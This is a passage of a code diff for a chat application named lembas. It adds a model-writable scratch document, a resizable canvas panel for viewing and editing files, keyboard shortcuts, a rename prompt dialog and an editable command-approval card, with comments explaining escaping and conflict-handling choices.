"memory_add": "star",
"memory_forget": "trash",
"skill_get": "sparkle",
@@ -127,6 +129,7 @@ ACTIONS: dict[str, str] = {
"notes_create": "Write a note",
"notes_edit": "Change a note",
"notes_delete": "Delete a note",
"scratch_write": "Write in the canvas",
"memory_add": "Remember something",
"memory_forget": "Forget something",
"skill_get": "Read a skill",
src/lembas/services/tools.py
+89 -2
View File
@@ -35,6 +35,7 @@ from sqlalchemy.orm import Session as DBSession
from lembas.db.models import AUTHOR_MODEL, Chat, User
from lembas.db.session import session_scope
from lembas.services import prompts as prompts_service
from lembas.services import scratch as scratch_service
from lembas.services import search as search_service
from lembas.services import settings_store
from lembas.services.library import documents as documents_service
@@ -94,6 +95,13 @@ FAMILY_MCP = "mcp"
# is the only tool the model cannot resolve by itself.
FAMILY_ASK = "ask"
# The chat's own working surface -- the canvas panel's scratch document.
# Deliberately not part of `notes`: a note is a durable artefact of the reader's
# that outlives the chat and is searchable, while this is the chat's own record
# of what it is doing, which is the line `plan_update` sits on. It is also its
# own switch, because narrowing notes off must not silently take the pad too.
FAMILY_SCRATCH = "scratch"
# Acting on the machine an agent chat is pointed at. Offered only when the chat
# is one, has a usable connection, and the feature is switched on -- see
# services/agent/session.py:resolve, which answers all three at once.
@@ -107,6 +115,7 @@ FAMILIES = (
FAMILY_NOTES,
FAMILY_MEMORY,
FAMILY_SKILLS,
FAMILY_SCRATCH,
FAMILY_ASK,
FAMILY_AGENT,
)
@@ -507,6 +516,51 @@ async def _run_notes_delete(context: ToolContext, args: dict[str, Any]) -> ToolO
)
# --- The chat's scratch document ---------------------------------------------
async def _run_scratch_write(context: ToolContext, args: dict[str, Any]) -> ToolOutcome:
"""Write into the pad the person can see beside the conversation.
Opens its own session, like every other runner: a generation outlives the
session that resolved it.
`append` is a service function rather than a read-and-concatenate here,
because two calls in one round would otherwise each read the same body and
the second would drop the first.
"""
with session_scope() as db:
chat = db.get(Chat, context.chat_id) if context.chat_id else None
if chat is None:
return ToolOutcome(
"There is no chat to write into.",
{"name": "scratch_write", "status": "error", "error": "No chat."},
)
doc = scratch_service.for_chat(db, chat)
text = str(args.get("text") or "")
if str(args.get("mode") or "append").strip().lower() == "replace":
scratch_service.update(db, doc, body=text, author=AUTHOR_MODEL)
what = "Replaced"
else:
scratch_service.append(db, doc, text, author=AUTHOR_MODEL)
what = "Added to"
return ToolOutcome(
f"{what} the scratch document ({len(doc.body)} characters). "
"It is on screen beside the conversation.",
{
"name": "scratch_write",
"query": doc.title,
"status": "ok",
"results": [],
# Opens the tab, the same way a file tool does. Never brings it
# to the front -- see `canvas.open_tab`.
"canvas": {
"key": f"scratch:{chat.id}",
"title": doc.title,
"source": "scratch",
},
},
)
# --- Memory ------------------------------------------------------------------
async def _run_memory_add(context: ToolContext, args: dict[str, Any]) -> ToolOutcome:
content = str(args.get("content") or "").strip()
@@ -819,6 +873,38 @@ REGISTRY: dict[str, ToolDef] = {
run=_run_notes_delete,
risk=RISK_WRITE,
),
ToolDef(
name="scratch_write",
family=FAMILY_SCRATCH,
description=(
"Write into this chat's scratch document, which the person can "
"see and edit beside the conversation. Use it for something you "
"are building up as you work — a draft, a table of findings, a "
"list you keep adding to — rather than putting it in the reply "
"and rewriting the whole thing each turn. It is not searchable "
"later and belongs to this chat alone; use a note for anything "
"worth keeping beyond it."
),
parameters=_object(
{
"mode": {
**_STRING,
"enum": ["append", "replace"],
"description": "append is the default.",
},
"text": {**_STRING, "description": "Markdown."},
},
["text"],
),
run=_run_scratch_write,
# What a tool does to the *world the four modes govern*, which is the
# machine -- and this cannot touch it. RISK_WRITE would put an
# approval card on screen every time the model jotted a paragraph,
# which is exactly the interruption batching exists to prevent. The
# same argument `plan_update` carries. An administrator who
# disagrees puts it in `deny_default`.
risk=RISK_READ,
),
ToolDef(
name="memory_add",
family=FAMILY_MEMORY,
@@ -990,11 +1076,12 @@ def _family_allowed(
# attach path keeps working, because that one is a person's instruction
# rather than a model's choice.
return bool(allowed.get("tools.fetch") and config.get("fetch_enabled"))
if gate in (FAMILY_CUSTOM, FAMILY_MCP, FAMILY_ASK, FAMILY_AGENT):
if gate in (FAMILY_CUSTOM, FAMILY_MCP, FAMILY_ASK, FAMILY_AGENT, FAMILY_SCRATCH):
# Deliberately without `library.use`: an HTTP endpoint an administrator
# wrote has nothing to do with this person's own documents and notes,
# and requiring the library permission for it would be a coincidence of
# naming rather than a rule. The same goes for being asked a question.
# naming rather than a rule. The same goes for being asked a question,
# and for a pad that belongs to this chat and goes nowhere else.
return bool(allowed.get(f"tools.{gate}"))
return bool(allowed.get(f"tools.{gate}") and allowed.get("library.use"))
src/lembas/web/static/css/app.css
+169 -3
View File
@@ -588,7 +588,8 @@ body.is-resizing {
cursor: col-resize;
user-select: none;
}
body.is-resizing .terminal__screen { pointer-events: none; }
body.is-resizing .terminal__screen,
body.is-resizing .canvas__body { pointer-events: none; }
@media (max-width: 64rem) {
/* A full-height overlay has no edge to drag, and no room to spare. */
@@ -644,14 +645,179 @@ body.is-resizing .terminal__screen { pointer-events: none; }
.terminal__last:empty { display: none; }
.terminal__message--error { color: var(--danger); }
/* --- The canvas panel ------------------------------------------------------
The same shape as the terminal beside it: a fixed-width column that hides
with the `hidden` attribute, and shares .panel-head and .panel-resize. It
sits nearest the conversation, being the widest and the one most likely to
be read alongside it. */
.canvas {
width: var(--canvas-width);
min-width: var(--canvas-width-min);
max-width: 80vw;
flex: none;
display: flex;
flex-direction: column;
min-height: 0;
position: relative;
background: var(--bg-sunken);
border-left: 1px solid var(--border);
}
.canvas__inner {
display: flex;
flex-direction: column;
min-height: 0;
flex: 1;
}
/* Where the file came from, beside its name. Shrinks and truncates rather than
pushing the close button off the end. */
.canvas__where {
min-width: 0;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
color: var(--ink-faint);
font-family: var(--font-mono);
font-size: var(--text-xs);
font-weight: 400;
}
/* One row, always. It scrolls sideways rather than wrapping -- the same rule
the composer's toolbar is built around, and for the same reason: a strip
that wraps to three lines takes the file with it. */
.canvas__tabs {
display: flex;
flex: none;
gap: var(--sp-1);
padding: var(--sp-1) var(--sp-2);
overflow-x: auto;
scrollbar-width: thin;
border-bottom: 1px solid var(--border);
}
.canvas__tab {
display: inline-flex;
align-items: center;
flex: none;
max-width: 14rem;
border-radius: var(--radius-sm);
background: transparent;
transition: background var(--transition-fast);
}
.canvas__tab:hover { background: var(--surface); }
.canvas__tab.is-active { background: var(--surface-raised); }
.canvas__tab-open {
display: inline-flex;
align-items: center;
gap: var(--sp-1);
min-width: 0;
height: var(--control-h-sm);
padding: 0 var(--sp-1) 0 var(--sp-2);
border: 0;
background: none;
color: var(--ink-muted);
font-size: var(--text-xs);
cursor: pointer;
}
.canvas__tab.is-active .canvas__tab-open { color: var(--ink); }
.canvas__tab-label {
min-width: 0;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
/* Unsaved. A dot rather than a colour alone, which nobody can see in a theme
they did not choose. */
.canvas__tab-dot {
flex: none;
width: 6px;
height: 6px;
border-radius: var(--radius-full);
background: var(--accent);
}
.canvas__tab-close {
display: inline-flex;
align-items: center;
padding: 0 var(--sp-1);
border: 0;
background: none;
color: var(--ink-faint);
cursor: pointer;
}
.canvas__tab-close:hover { color: var(--ink); }
/* One row, and the path box is the only thing allowed to shrink -- the same
arrangement the composer's toolbar is built around. */
.canvas__open {
display: flex;
align-items: center;
gap: var(--sp-2);
flex: none;
padding: var(--sp-2) var(--sp-3);
border-bottom: 1px solid var(--border);
}
.canvas__open-form { display: flex; gap: var(--sp-2); min-width: 0; flex: 1; }
.canvas__path {
min-width: 0;
flex: 1;
height: var(--control-h-sm);
font-size: var(--text-xs);
}
.canvas__body {
flex: 1;
min-height: 0;
overflow: auto;
padding: var(--sp-3);
}
.canvas__doc { display: flex; flex-direction: column; gap: var(--sp-2); }
.canvas__actions { display: flex; align-items: center; gap: var(--sp-2); }
.canvas__hint, .canvas__empty, .canvas__note {
color: var(--ink-faint);
font-size: var(--text-xs);
}
.canvas__note { display: flex; align-items: center; gap: var(--sp-2); }
.canvas__code {
margin: 0;
padding: var(--sp-3);
border-radius: var(--radius-sm);
background: var(--code-bg);
font-family: var(--font-mono);
font-size: var(--text-xs);
line-height: 1.6;
white-space: pre;
overflow-x: auto;
}
.canvas__form { display: flex; flex-direction: column; gap: var(--sp-2); }
/* No highlighting while typing, and the panel says so rather than pretending.
A mirror behind this would be the composer's trick at two thousand lines,
laying the buffer out twice on every keystroke. */
.canvas__editor {
width: 100%;
min-height: 24rem;
padding: var(--sp-3);
border: 1px solid var(--border);
border-radius: var(--radius-sm);
background: var(--code-bg);
color: var(--ink);
font-family: var(--font-mono);
font-size: var(--text-xs);
line-height: 1.6;
white-space: pre;
overflow-wrap: normal;
resize: vertical;
}
.canvas__conflict { display: flex; flex-direction: column; gap: var(--sp-3); }
.canvas__theirs summary { cursor: pointer; font-size: var(--text-xs); }
@media (max-width: 64rem) {
.terminal {
.terminal,
.canvas {
position: fixed;
inset: 0 0 0 auto;
width: min(var(--terminal-width), 100vw);
z-index: var(--z-panel);
box-shadow: var(--shadow-lg);
}
.terminal { width: min(var(--terminal-width), 100vw); }
.canvas { width: min(var(--canvas-width), 100vw); }
}
.topbar {
src/lembas/web/static/css/chat.css
+17
View File
@@ -521,6 +521,18 @@
white-space: pre-wrap;
overflow-wrap: anywhere;
}
/* The same command, correctable. Sized and spaced like the <pre> it replaces
so pressing Edit does not make the card jump. */
.interaction__edit {
width: 100%;
margin: 0 0 var(--sp-2);
padding: var(--sp-3);
font-family: var(--font-mono);
font-size: var(--text-xs);
white-space: pre-wrap;
overflow-wrap: anywhere;
resize: vertical;
}
.interaction__reason { margin: 0; color: var(--ink-muted); font-size: var(--text-xs); }
/* The model's account of what it is about to do. Above the command and quieter
than the title, so the command stays the thing being agreed to. */
@@ -1248,6 +1260,11 @@
outline: 2px solid var(--accent);
outline-offset: 1px;
}
/* The sidebar's copy fills its column rather than sitting at its content
width: it is the heading for everything below it, not a control in a row. */
.segmented--grow { display: flex; margin: 0 0 var(--sp-3); }
.segmented--grow .segmented__option { flex: 1; }
.segmented--grow .segmented__option span { flex: 1; justify-content: center; }
/* --- A plan, and the way to carry it out ----------------------------------- */
.plan {
src/lembas/web/static/css/tokens.css
+7
View File
@@ -72,6 +72,13 @@
re-wraps everything a program prints. */
--terminal-width: 34rem;
--terminal-width-min: 24rem;
/* Wider again: a source line is longer than eighty columns once nothing is
re-wrapping it, and this one holds prose as well. The minimum is 24rem =
384px and must equal both `data-resize-min` in chat/_canvas.html and the
lower bound in api/preferences.py:LAYOUT_BOUNDS -- a width outside those
bounds is silently dropped, so the three are pinned equal by a test. */
--canvas-width: 40rem;
--canvas-width-min: 24rem;
--thread-max-width: 48rem;
--header-height: 3.5rem;
src/lembas/web/static/js/canvas.js
+111
View File
@@ -0,0 +1,111 @@
/*
The canvas panel's small amount of behaviour.
Almost all of it is htmx: the tabs post, the save posts, the panel swaps.
Three things need JavaScript, and only three.
1. Tab inserts a tab character instead of leaving the field. Without it the
one editor affordance whose absence is genuinely maddening is missing.
2. The editor tracks whether it has been changed, so the tab shows a dot and
so leaving the page with unsaved work warns.
3. Opening the panel scrolls the active tab into view, since the strip
scrolls sideways and the tab in front may be off the end of it.
What is *not* here is any guard against a swap taking the editor away. A
model opening a file sends the tab strip and nothing else, and does not move
the active tab -- both settled on the server, where they cannot be lost to a
race.
Nothing here ever assigns innerHTML from a fetch: every swap is htmx's, and
the content is a file off somebody else's disk.
*/
(function () {
"use strict";
var panel = null;
/* Whether the editor has been changed since it was last rendered. Module
state rather than a data attribute, because the element it describes is
replaced by every swap and an attribute would go with it. */
var dirty = false;
function markDirty(on) {
dirty = !!on;
var dot = panel && panel.querySelector(".canvas__tab.is-active [data-canvas-dirty]");
if (dot) dot.hidden = !dirty;
}
/* --- Typing ------------------------------------------------------------- */
function onInput(event) {
if (event.target && event.target.matches("[data-canvas-editor]")) markDirty(true);
}
function onKeydown(event) {
var box = event.target;
if (!box || !box.matches || !box.matches("[data-canvas-editor]")) return;
if (event.key !== "Tab" || event.ctrlKey || event.altKey || event.metaKey) return;
/* Shift+Tab still leaves the field, which is the only way out of it for
somebody using the keyboard. */
if (event.shiftKey) return;
event.preventDefault();
var start = box.selectionStart;
var end = box.selectionEnd;
box.value = box.value.slice(0, start) + "\t" + box.value.slice(end);
box.selectionStart = box.selectionEnd = start + 1;
markDirty(true);
}
/* --- Swaps -------------------------------------------------------------- */
/* There is deliberately nothing here guarding the editor against a swap.
A model opening a file sends the tab *strip* and nothing else -- the body
is never pushed -- and `canvas.open_tab` does not move the active tab for
a model, so the file in front and the field being typed in both stay put.
That is settled on the server, where it cannot be lost to a race. */
function onAfterSwap(event) {
if (!panel || !event.target || !panel.contains(event.target)) return;
/* The server has just rendered what is stored, so nothing is unsaved until
somebody types again. */
markDirty(false);
showActiveTab();
}
function showActiveTab() {
var active = panel && panel.querySelector(".canvas__tab.is-active");
if (active && active.scrollIntoView) {
active.scrollIntoView({ block: "nearest", inline: "nearest" });
}
}
/* --- Leaving with unsaved work ------------------------------------------ */
function onBeforeUnload(event) {
if (!dirty) return;
event.preventDefault();
/* The browser shows its own wording; returning a string is what makes older
ones show anything at all. */
event.returnValue = "";
return "";
}
/* --- Wiring ------------------------------------------------------------- */
function start() {
panel = document.querySelector("[data-canvas]");
if (!panel) return;
panel.addEventListener("input", onInput);
panel.addEventListener("keydown", onKeydown);
panel.addEventListener("lembas:toggle", function (event) {
if (event.detail && event.detail.open) showActiveTab();
});
/* On document, not on the panel: htmx fires these on the element being
swapped, and by the time afterSwap runs the old node is gone. */
document.body.addEventListener("htmx:afterSwap", onAfterSwap);
window.addEventListener("beforeunload", onBeforeUnload);
}
if (document.readyState === "loading") {
document.addEventListener("DOMContentLoaded", start);
} else {
start();
}
})();
src/lembas/web/static/js/commands.js
+27 -3
View File
@@ -41,6 +41,7 @@
{ keys: "Alt + M", what: "Dictate" },
{ keys: "Alt + R", what: "Read the last reply aloud" },
{ keys: "Alt + 1 … 4", what: "Manual, Edit, Auto, Plan" },
{ keys: "Alt + E", what: "Canvas" },
{ keys: "Alt + T", what: "Terminal" },
{ keys: "Alt + I", what: "Inspector" },
{ keys: "Alt + B", what: "Sidebar" },
@@ -115,9 +116,16 @@
body.append("title", wanted);
fetch("/api/chats/" + chat(), { method: "PATCH", body: body, credentials: "same-origin" })
.then(function () {
var heading = el("#chat-title");
// textContent, never innerHTML: this is text somebody typed.
if (heading) heading.textContent = wanted;
/* Both places the title appears. The heading alone left the sidebar
row showing the old name until the next reload, which reads as a
rename that half worked -- and is the reason the route now hands
back the out-of-band pair for every other caller. This one is a
bare fetch rather than htmx, so it sets them itself.
textContent, never innerHTML: this is text somebody typed. */
[el("#chat-title"), el("#chat-link-label-" + chat())].forEach(function (node) {
if (node) node.textContent = wanted;
});
note("Renamed.");
});
}
@@ -128,6 +136,15 @@
when: function () { return !!chat() && isAgent(); },
run: function () { reindex(); }
},
{
name: "canvas",
summary: "Show or hide the canvas",
/* Gated, like the other two panels. An ungated command on a page with no
panel does not merely fail -- it stops being a command, and the message
is sent as written. */
when: function () { return !!el("#canvas"); },
run: function () { toggle("#canvas", "side"); }
},
{
name: "terminal",
summary: "Show or hide the terminal",
@@ -519,6 +536,13 @@
return;
}
/* E for editor, not C: Ctrl/Cmd+C is too near for comfort, and Alt+D is
the address bar in two browsers -- a shortcut the browser wins looks
broken. */
if (event.code === "KeyE" && el("#canvas")) {
event.preventDefault();
return toggle("#canvas", "side");
}
if (event.code === "KeyT" && el("#terminal")) {
event.preventDefault();
return toggle("#terminal", "side");
src/lembas/web/static/js/ui.js
+43
View File
@@ -205,6 +205,49 @@
});
}, true);
/* Asking for one line of text before a request goes out: renaming a folder,
renaming a chat.
Deliberately NOT htmx's own hx-prompt. htmx calls the browser's prompt()
synchronously and only then fires htmx:prompt with the answer already in
hand -- so intercepting the event cannot supply a different one, and the
native box appears regardless. Cancelling the event only aborts the
request. This is the data-confirm-button shape instead: swallow the click,
ask in our own dialog, write the answer where htmx will collect it, and
click again behind a guard flag.
The answer goes into hx-vals as a normal field rather than into a header,
because every route that wants it already reads a form. htmx reads
attributes when the request is built, so setting it just before the second
click is enough. It is JSON.stringify'd, never concatenated: a folder
called `"` would otherwise produce hx-vals that does not parse, and the
request would go out with the field missing rather than with the name. */
document.addEventListener("click", function (event) {
var el = event.target.closest("[data-prompt]");
if (!el || el.dataset.prompted) return;
event.preventDefault();
event.stopPropagation();
var field = el.dataset.promptField || "name";
prompt({
title: el.dataset.promptTitle,
message: el.dataset.prompt,
value: el.dataset.promptValue || "",
confirmLabel: el.dataset.promptLabel || "Save",
}).then(function (value) {
/* null is Cancel. An empty string is somebody clearing the box and
pressing Save, which is not a rename either -- the routes ignore a
blank name, so sending it would be a request that does nothing. */
if (value === null || !String(value).trim()) return;
var values = {};
values[field] = String(value).trim();
el.setAttribute("hx-vals", JSON.stringify(values));
el.dataset.prompted = "1";
el.click();
delete el.dataset.prompted;
});
}, true);
/* Plain forms opt in with data-confirm, so they need no inline onsubmit. */
document.addEventListener("submit", function (event) {
var form = event.target;
src/lembas/web/templates/chat/_canvas.html
+48
View File
@@ -0,0 +1,48 @@
{% from "_macros.html" import icon %}
{#
The canvas panel: files, open beside the conversation.
Built the way the terminal panel is -- a child of .shell, `hidden` until a
toggle removes it, its own drag handle, the shared panel head. Filled the way
the *inspector* is, though: `hx-trigger="intersect once"`, because a hidden
element never intersects, so a panel nobody opens costs one element and no
round trip to somebody's machine. There is nothing heavy to construct here,
which is the whole reason it does not need the terminal's lazy-build dance.
Everything shown inside came off somebody else's disk, or out of a model. It
is rendered through pygments (which escapes), through render_markdown (the one
path allowed to emit HTML), or into a <textarea>, whose contents Jinja escapes
and which cannot contain markup by construction.
#}
<aside class="canvas" id="canvas" hidden aria-label="Canvas"
data-canvas
data-chat="{{ chat.id }}"
data-resize-target>
{# The left edge, dragged. A separator rather than a decoration: it takes
focus and answers the arrow keys, or the panel is only resizable with a
mouse and the grip is a focus trap that does nothing. #}
<div class="panel-resize" data-resize="--canvas-width" data-resize-min="384"
role="separator" aria-orientation="vertical" tabindex="0"
aria-label="Resize the canvas">
{{ icon("grip", "icon--sm") }}
</div>
<div class="canvas__inner" id="canvas-inner"
hx-get="/api/chats/{{ chat.id }}/canvas"
hx-trigger="intersect once"
hx-target="this" hx-swap="innerHTML">
<div class="panel-head">
<h2 class="panel-head__title">
{{ icon("file-text", "icon--sm") }}
<span>Canvas</span>
</h2>
<button class="btn btn--icon btn--sm" type="button" data-toggle="#canvas"
aria-label="Close canvas">
{{ icon("x", "icon--sm") }}
</button>
</div>
<div class="canvas__body">
<p class="canvas__empty">Opening…</p>
</div>
</div>
</aside>
src/lembas/web/templates/chat/_canvas_conflict.html
+52
View File
@@ -0,0 +1,52 @@
{% from "_macros.html" import icon %}
{#
The file moved between being opened and being saved -- another editor, a
build, a checkout.
Three answers, and none of them is silent. Never save over somebody else's
change without saying so; never throw away what was typed here without saying
so either. What you wrote is held in the form below, so Overwrite is one
click and not a retype.
Sent at 200 rather than 409 on purpose: htmx does not swap an error status,
and a card offering three buttons cannot be offered from a response the panel
will not render.
#}
<div class="canvas__conflict">
<div class="alert alert--warning" role="alert">
{{ icon("warning", "alert__icon") }}
<span>
<strong>{{ conflict.title }}</strong> changed after you opened it, so
nothing was written. Your version is below.
</span>
</div>
<details class="canvas__theirs">
<summary>What is there now</summary>
<pre class="canvas__code"><code>{{ conflict.text }}</code></pre>
</details>
<form class="canvas__form"
hx-post="/api/chats/{{ chat.id }}/canvas/save"
hx-target="#canvas-inner" hx-swap="innerHTML">
<input type="hidden" name="key" value="{{ conflict.key }}">
{# Deliberately empty. An empty token is what tells `_check_stamp` to write
regardless, which is exactly what Overwrite means -- somebody has now
been shown both versions and chosen. #}
<input type="hidden" name="revision" value="">
<label class="visually-hidden" for="canvas-mine">Your version</label>
<textarea class="canvas__editor" id="canvas-mine" name="text"
spellcheck="false" data-canvas-editor>{{ mine }}</textarea>
<div class="canvas__actions">
<button class="btn btn--danger btn--sm" type="submit">
{{ icon("check", "icon--sm") }} Overwrite with mine
</button>
<button class="btn btn--sm" type="button"
hx-post="/api/chats/{{ chat.id }}/canvas/tabs"
hx-vals='{"key": {{ conflict.key | tojson }}}'
hx-target="#canvas-inner" hx-swap="innerHTML">
Discard mine and reload
</button>
</div>
</form>
</div>
src/lembas/web/templates/chat/_canvas_doc.html
+74
View File
@@ -0,0 +1,74 @@
{% from "_macros.html" import icon %}
{#
One file, read or edited.
A read/edit split rather than a highlighting editor, because there is no
vendored code editor and adding one would be a build step (hard rule 1) or a
payload larger than xterm's on every page in the application -- and xterm is
called out as the one heavy dependency precisely because it loads only on a
chat that can open a terminal.
So: pygments server-side for reading, and a plain <textarea> for writing. A
textarea's value is text by construction, which is the same argument as
"attachments are served, never linked" -- pick the shape where the failure
cannot happen rather than the shape where it has to be prevented.
`rendered` is the ONE `|safe` here. It is either pygments output, which
escapes what it is given, or render_markdown, which is the single path in this
application allowed to emit HTML.
#}
<div class="canvas__doc" x-data="{ editing: false }" data-canvas-doc="{{ doc.key }}">
{% if doc.binary %}
<p class="canvas__note">
{{ icon("warning", "icon--sm") }}
This does not look like text, so there is nothing to show and nothing that
could safely be saved back.
</p>
{% elif doc.truncated %}
<p class="canvas__note">
{{ icon("warning", "icon--sm") }}
Showing the beginning only. Saving from here would delete the rest, so this
one is read-only.
</p>
{% endif %}
{% if doc.editable %}
<div class="canvas__actions" x-show="!editing">
<button class="btn btn--sm" type="button"
@click="editing = true; $nextTick(() => $refs.editor.focus())">
{{ icon("pencil", "icon--sm") }} Edit
</button>
</div>
{% endif %}
<div class="canvas__view" {% if doc.editable %}x-show="!editing"{% endif %}>
{% if rendered %}
{{ rendered | safe }}
{% else %}
<p class="canvas__empty">This file is empty.</p>
{% endif %}
</div>
{% if doc.editable %}
<form class="canvas__form" x-show="editing" x-cloak
hx-post="/api/chats/{{ chat.id }}/canvas/save"
hx-target="#canvas-inner" hx-swap="innerHTML">
<input type="hidden" name="key" value="{{ doc.key }}">
{# What version this was opened at. The save compares it and refuses a file
that moved underneath, rather than overwriting somebody else's work. #}
<input type="hidden" name="revision" value="{{ doc.revision }}">
<label class="visually-hidden" for="canvas-editor">{{ doc.title }}</label>
<textarea class="canvas__editor" id="canvas-editor" name="text"
spellcheck="false" x-ref="editor"
data-canvas-editor>{{ doc.text }}</textarea>
<div class="canvas__actions">
<button class="btn btn--primary btn--sm" type="submit">
{{ icon("check", "icon--sm") }} Save
</button>
<button class="btn btn--sm" type="button" @click="editing = false">Cancel</button>
<span class="canvas__hint">No colour while you type. Tab inserts a tab.</span>
</div>
</form>
{% endif %}
</div>
src/lembas/web/templates/chat/_canvas_inner.html
+87
View File
@@ -0,0 +1,87 @@
{% from "_macros.html" import icon %}
{#
The head, the tab strip and whichever file is in front. Everything the panel
swaps, in one fragment.
Both together, always: rendering only the body would leave the strip showing a
tab that is no longer there after a close, and rendering only the strip would
leave the previous file on screen after a switch.
#}
<div class="panel-head">
<h2 class="panel-head__title">
{{ icon("file-text", "icon--sm") }}
<span>{{ doc.title if doc else "Canvas" }}</span>
{% if doc and doc.subtitle %}
<span class="canvas__where" title="{{ doc.subtitle }}">{{ doc.subtitle }}</span>
{% endif %}
</h2>
{% if doc and doc.key.startswith("scratch:") %}
{# A copy, like every other attach path -- a transcript must not change
because the pad was edited afterwards. #}
<button class="btn btn--sm" type="button"
hx-post="/api/files/from-scratch"
hx-vals='{"chat_id": "{{ chat.id }}"}'
hx-target="#attachments" hx-swap="beforeend"
title="Put this in the message box as an attachment">
{{ icon("attach", "icon--sm") }} Attach
</button>
{% endif %}
<button class="btn btn--icon btn--sm" type="button" data-toggle="#canvas"
aria-label="Close canvas">
{{ icon("x", "icon--sm") }}
</button>
</div>
{% include "chat/_canvas_tabs.html" %}
{#
Opening one by hand. A path box rather than a file browser: the model opens
what it touches, which is the path this feature is really for, and a second
directory browser beside the one the composer already has would be a lot of
interface for the rarer case. A relative path resolves against the project
directory, exactly as it does for the model.
#}
<div class="canvas__open">
{% if canvas_agent %}
{# Its own form. A second control named `key` in the same one -- the Scratch
button below -- would send two values for one field, and which of them the
server took would be an accident. #}
<form class="canvas__open-form"
hx-post="/api/chats/{{ chat.id }}/canvas/tabs"
hx-target="#canvas-inner" hx-swap="innerHTML">
<input class="input input--mono canvas__path" type="text" name="key"
placeholder="agent:path/to/file" aria-label="Open a file"
autocomplete="off" spellcheck="false">
<button class="btn btn--sm" type="submit">Open</button>
</form>
{% endif %}
<button class="btn btn--sm" type="button"
hx-post="/api/chats/{{ chat.id }}/canvas/tabs"
hx-vals='{"key": "scratch:{{ chat.id }}"}'
hx-target="#canvas-inner" hx-swap="innerHTML"
title="This chat's own working document">
{{ icon("file-text", "icon--sm") }} Scratch
</button>
</div>
<div class="canvas__body">
{% if error %}
<div class="alert alert--error" role="alert">
{{ icon("warning", "alert__icon") }} <span>{{ error }}</span>
</div>
{% elif conflict %}
{% include "chat/_canvas_conflict.html" %}
{% elif doc %}
{% include "chat/_canvas_doc.html" %}
{% else %}
<p class="canvas__empty">
Nothing open. A file the model reads or writes appears here, and
{% if canvas_agent %}the @ menu can put one here too.{% else %}notes,
skills and this chat's own scratch document can be opened from the @ menu.
{% endif %}
</p>
{% endif %}
</div>
src/lembas/web/templates/chat/_canvas_tabs.html
+38
View File
@@ -0,0 +1,38 @@
{% from "_macros.html" import icon %}
{#
One row, always, and it scrolls sideways rather than wrapping -- the same rule
the composer's toolbar is built around. A strip that wraps to three lines on a
narrow panel takes the file with it.
A tab is a button posting to a route that serves POST. Not a link: `GET` never
moves the active tab, because there is no CSRF token here and the cookie is
SameSite Lax, so a state-changing GET is a link somebody can be made to follow.
#}
{# `oob` is set only when this arrives on the reply's SSE stream, where it has
to find its own way to the panel rather than being swapped into the bubble
the stream is writing. Out of band, exactly as the `done` frame's title is. #}
<div class="canvas__tabs" role="tablist" data-canvas-tabs id="canvas-tabs"
{% if oob %}hx-swap-oob="true"{% endif %}>
{% for tab in tabs %}
<div class="canvas__tab {{ 'is-active' if tab.key == active }}"
data-canvas-tab="{{ tab.key }}">
<button class="canvas__tab-open" type="button" role="tab"
aria-selected="{{ 'true' if tab.key == active else 'false' }}"
hx-post="/api/chats/{{ chat.id }}/canvas/tabs"
hx-vals='{"key": {{ tab.key | tojson }}}'
hx-target="#canvas-inner" hx-swap="innerHTML"
title="{{ tab.key }}">
{{ icon("file-text", "icon--sm") }}
<span class="canvas__tab-label">{{ tab.title }}</span>
<span class="canvas__tab-dot" data-canvas-dirty hidden aria-hidden="true"></span>
</button>
<button class="canvas__tab-close" type="button"
hx-post="/api/chats/{{ chat.id }}/canvas/tabs/close"
hx-vals='{"key": {{ tab.key | tojson }}}'
hx-target="#canvas-inner" hx-swap="innerHTML"
aria-label="Close {{ tab.title }}">
{{ icon("x", "icon--sm") }}
</button>
</div>
{% endfor %}
</div>
src/lembas/web/templates/chat/_composer.html
+16 -3
View File
@@ -66,6 +66,12 @@
{% if not chat and starting_temporary %}
<input type="hidden" name="temporary" value="true">
{% endif %}
{% if not chat and starting_folder %}
{# `/api/chats/start` has accepted a folder_id since folders existed and
nothing ever sent one, so the only way into a folder was to make the
chat elsewhere and move it. This is "New chat here" arriving. #}
<input type="hidden" name="folder_id" value="{{ starting_folder.id }}">
{% endif %}
{#
The text, with a mirror behind it.
@@ -275,15 +281,22 @@
#}
{% if not chat and agent_profiles %}
<div class="composer__context" data-agent-picker>
<input type="hidden" name="kind" value="chat" id="chat-kind">
{# Seeded from `?kind=`, which is how the sidebar's Agent side opens
this screen already on the right fork. `ui.js` reads the checked
radio when it wires the picker, so the hidden field and the
revealed connection follow from this and nothing else. #}
<input type="hidden" name="kind" value="{{ starting_kind | default('chat') }}"
id="chat-kind">
<div class="segmented" role="group" aria-label="Kind of chat">
<label class="segmented__option">
<input type="radio" name="kind_choice" value="chat" checked>
<input type="radio" name="kind_choice" value="chat"
{{ '' if starting_kind == 'agent' else 'checked' }}>
<span>{{ icon("chat", "icon--sm") }} Chat</span>
</label>
<label class="segmented__option">
<input type="radio" name="kind_choice" value="agent">
<input type="radio" name="kind_choice" value="agent"
{{ 'checked' if starting_kind == 'agent' }}>
<span>{{ icon("bolt", "icon--sm") }} Agent</span>
</label>
</div>
src/lembas/web/templates/chat/_interaction.html
+38 -1
View File
@@ -68,7 +68,7 @@
{% else %}
{% for item in ask.items %}
<div class="interaction__question">
<div class="interaction__question" x-data="{ editing: false }">
<p class="interaction__title">{{ item.title }}</p>
{% if item.purpose %}
{# The model's own account of what this is for, above the thing itself.
@@ -78,7 +78,44 @@
<p class="interaction__purpose">It says: {{ item.purpose }}</p>
{% endif %}
{% if item.detail %}
{% if item.editable %}
{#
The command, correctable before it runs. A model proposing the right
thing with one flag wrong is the common case, and Allow-or-Don't
makes that a round trip to explain in prose.
Both halves are always in the DOM and one is hidden, rather than the
box being created when Edit is pressed: a field that does not exist
until a click is a field that submits nothing if the click handler
ever fails, and this one decides what runs on somebody's machine.
The textarea is disabled while hidden so an untouched card cannot
post a `text.` field at all — that field means "this was edited",
and an empty one arriving would be indistinguishable from a command
somebody cleared.
#}
<div x-show="!editing">
<pre class="interaction__detail">{{ item.detail }}</pre>
<button class="btn btn--sm" type="button"
@click="editing = true; $nextTick(() => $refs.edit{{ item.key }}.focus())">
{{ icon("pencil", "icon--sm") }} Edit
</button>
</div>
<div x-show="editing" x-cloak>
<label class="visually-hidden" for="edit-{{ item.key }}">
Change this before it runs
</label>
<textarea class="textarea interaction__edit" id="edit-{{ item.key }}"
